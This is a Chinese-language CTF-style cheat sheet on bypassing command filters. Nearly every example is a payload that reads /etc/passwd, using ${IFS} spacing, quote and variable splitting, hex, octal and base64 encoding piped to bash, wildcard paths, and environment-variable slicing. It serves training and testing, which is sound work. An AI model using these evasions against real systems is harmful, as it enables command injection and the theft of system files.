命令绕过技巧
2026/10/11大约 2 分钟
为什么需要掌握
一些题目会要求攻击者使用nc进行远程连接执行命令,但是执行的脚本进行了过滤,无法直接使用命令查看flag。
因此学习绕过审查的技巧就变得比较重要了。
命令审查的绕过技巧
基本的Linux连接符号
| 链接符号 | 功能 | 案例 |
|---|---|---|
| ; | 顺序执行,不管前命令是否成功 | cmd1 ; cmd2 |
| && | 前成功(返回0)才执行后 | cmd1 && cmd2 |
| || | 前失败(非0)才执行后 | cmd1 || cmd2 |
| | | 前的 stdout 作为后的 stdin | cmd1 | cmd2 |
| & | 前台启动后台进程,同时继续执行 | cmd1 & cmd2 |
指令替换
# 反引号(旧式写法)
echo `whoami`
echo `cat /etc/passwd`
# $() 写法(推荐,可嵌套)
echo $(whoami)
echo $(cat /etc/passwd)
# 嵌套使用
echo $(echo $(id))
# 在赋值中使用
x=$(id); echo $x空格绕过技巧
# ${IFS} — 内部字段分隔符,默认含空格/tab/换行
cat${IFS}/etc/passwd
cat${IFS%?}/etc/passwd # 去掉最后一个字符,还是空格
# $IFS$9 — 常用变体
cat$IFS$9/etc/passwd
# Tab 字符(%09)
cat%09/etc/passwd
# 花括号(Brace Expansion)
{cat,/etc/passwd}
# 重定向绕过
cat</etc/passwd
cat<>/etc/passwd
# $'\x20' 表示空格的十六进制
X=$'\x20'; cat${X}/etc/passwd关键字过滤绕过
字符串拼接
# 单引号插入(不影响字符串内容)
c'a't /etc/passwd
c''a''t /etc/passwd
# 双引号插入
c"a"t /etc/passwd
ca"t" /etc/passwd
# 反斜杠转义(对shell无意义但绕过简单过滤)
ca\t /etc/passwd
/bin/ca\t /etc/passwd
# 变量拼接
a=ca;b=t;$a$b /etc/passwd
X=ca;Y=t;$X$Y /etc/passwd
# 环境变量切片拼接
echo ${PATH:0:1} # 取 PATH 第一个字符(通常是 /)
${PATH:0:1}etc${PATH:0:1}passwd编码绕过
# 十六进制编码
$(printf '\x63\x61\x74') /etc/passwd # cat
$'\x63\x61\x74' /etc/passwd
# 八进制编码
$(printf '\143\141\164') /etc/passwd # cat
# base64 解码执行
echo "d2hvYW1p" | base64 -d | bash # whoami
`echo "d2hvYW1p" | base64 -d`
# rev 反转字符串
echo "tac" | rev # cat
$(rev<<<tac) /etc/passwd通配符绕过
# ? 匹配单个字符
/???/??t /etc/passwd # /bin/cat
/???/b??h # /bin/bash
/?i?/??t /etc/passwd
# * 匹配任意字符
/bin/c*t /etc/passwd
/bin/ca* /etc/passwd
# 字符类
/bin/[c]at /etc/passwd
/[b]in/cat /etc/passwd路径绕过
# 绝对路径代替命令名
/bin/cat /etc/passwd
/usr/bin/id
# 环境变量中提取路径字符
${HOME:0:1} # / (如果HOME=/home/user)
${SHELL:0:1} # /
# 利用现有路径字符构造新路径
echo $SHELL # /bin/bash
echo ${SHELL%%bash} # /bin/
# 利用切片拼接 /bin/cat更多详细内容可以参考: 命令注入与拼接技巧速查
